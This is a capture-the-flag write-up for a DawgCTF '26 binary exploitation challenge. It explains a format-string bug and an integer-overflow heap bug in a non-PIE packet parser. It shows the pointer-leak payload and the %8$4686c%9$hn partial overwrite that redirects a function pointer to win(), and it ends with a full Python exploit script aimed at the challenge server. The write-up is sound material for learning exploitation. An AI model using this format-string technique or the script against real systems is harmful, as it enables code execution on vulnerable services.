$ cat writeup.md…
$ cat writeup.md…
metactf
Task: a public DawgCTF / UMBCCyberDawgs source release exposes a non-PIE packet parser with both a format-string bug and an integer-overflow-backed heap overflow. Solution: use the format string to leak code pointers, infer the remote win() offset, and partially overwrite the logging function pointer with %hn to jump to the flag printer.
A server at
nc.umbccd.net 8929is hosting the same code, but theirs has a flag, retrieve it. Public source:https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20melodies
This challenge came from the public UMBCCyberDawgs / DawgCTF '26 repository, while my local workspace grouped it under metactf. We are given the source for a 64-bit Linux service that parses a small custom packet, prints a title field, computes a rating, and then calls a function pointer stored in a heap-allocated session context.
The public source immediately reveals two memory corruption bugs.
The title is attacker-controlled and reaches:
printf(title);
This gives both an information leak and an arbitrary write through %n if one of the stack arguments resolves to a writable pointer.
The code also validates the data length incorrectly:
static inline int validate_size(uint32_t sz) { size_t aligned = (sz + 7) & ~7; return (int)aligned; }
Later it allocates with:
size_t stream_size = (size_t)(d_len + 0x40); char *stream_buf = malloc(stream_size); fread(stream_buf, 1, d_len, stdin);
Because validate_size() returns an int after alignment while the real allocation uses d_len + 0x40, a large d_len can wrap and produce a too-small heap chunk before fread() copies the full attacker-controlled size. That looks exploitable, but I did not need it for the solve.
The source comment says the binary was compiled with:
gcc -no-pie -g in.c -o out
That matters a lot: a non-PIE binary keeps stable text addresses, so once a code pointer is leaked, nearby functions such as win() can be inferred reliably.
I first sent a title of the form:
%1$p|%2$p|%3$p|...|%40$p
The remote output included these useful values:
0x40x4063f00x4014bb0x40148fThe important observation is that several leaked code pointers sit in the 0x401000 range, exactly what we expect from a non-PIE ELF. Argument 9 also gave a writable target usable with %n.
Compiling the public source locally as a non-PIE Linux x86_64 binary produced matching structure but slightly different code offsets:
0x4014a10x401475win = 0x401234The remote leaks are consistently shifted by +0x1a:
0x4014bb - 0x4014a1 = 0x1a0x40148f - 0x401475 = 0x1aThe most likely reason is a small source difference in the deployed binary. In practice, a local variant where calculate_rating() returns rand() instead of 0 reproduces that shift.
So the remote win() address is inferred as:
0x401234 + 0x1a = 0x40124e
After the vulnerable printf(title), the program does:
ctx->server_logging("Rating", rating);
Originally this function pointer targets log_event(), which already lives in the same non-PIE text segment. That means I do not need to write the full 8-byte pointer. Replacing only the low 16 bits is enough to retarget it to win().
The low 16 bits of remote win() are:
0x124e = 4686
The working payload was exactly:
%8$4686c%9$hn
Why it works:
%8$4686c pads the output count to 4686 characters.%9$hn writes that count as a 16-bit value to the address referenced by argument 9.0x124e.ctx->server_logging, execution jumps into win().Once the overwritten function pointer is invoked, win() opens flag.txt, prints it, and exits. The remote service returned:
DawgCTF{REDACTED}
#!/usr/bin/env python3 import re import socket import struct import sys HOST = "nc.umbccd.net" PORT = 8929 MAGIC = 0x564D576E FLAG_RE = re.compile(rb"DawgCTF\{[^\r\n]{0,200}\}") def send_packet(title: bytes, data: bytes, timeout: float = 5.0) -> bytes: pkt = struct.pack("<III", MAGIC, len(title), len(data)) + title + data s = socket.create_connection((HOST, PORT), timeout=10) s.sendall(pkt) s.settimeout(timeout) out = b"" try: while True: chunk = s.recv(65536) if not chunk: break out += chunk except TimeoutError: pass finally: s.close() return out def leak() -> bytes: title = b"|".join(f"%{i}$p".encode() for i in range(1, 41)) return send_packet(title, b"AAAA", timeout=3.0) def exploit() -> bytes: # Remote win() inferred from leaked non-PIE addresses: # local win 0x401234 + remote shift 0x1a = 0x40124e. # Low 16 bits are 0x124e == 4686. title = b"%8$4686c%9$hn" return send_packet(title, b"AAAA", timeout=10.0) def main() -> int: mode = sys.argv[1] if len(sys.argv) > 1 else "exploit" out = leak() if mode == "leak" else exploit() sys.stdout.buffer.write(out) m = FLAG_RE.search(out) if m: print(f"\nFLAG={m.group().decode()}") return 0 return 1 if __name__ == "__main__": raise SystemExit(main())
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar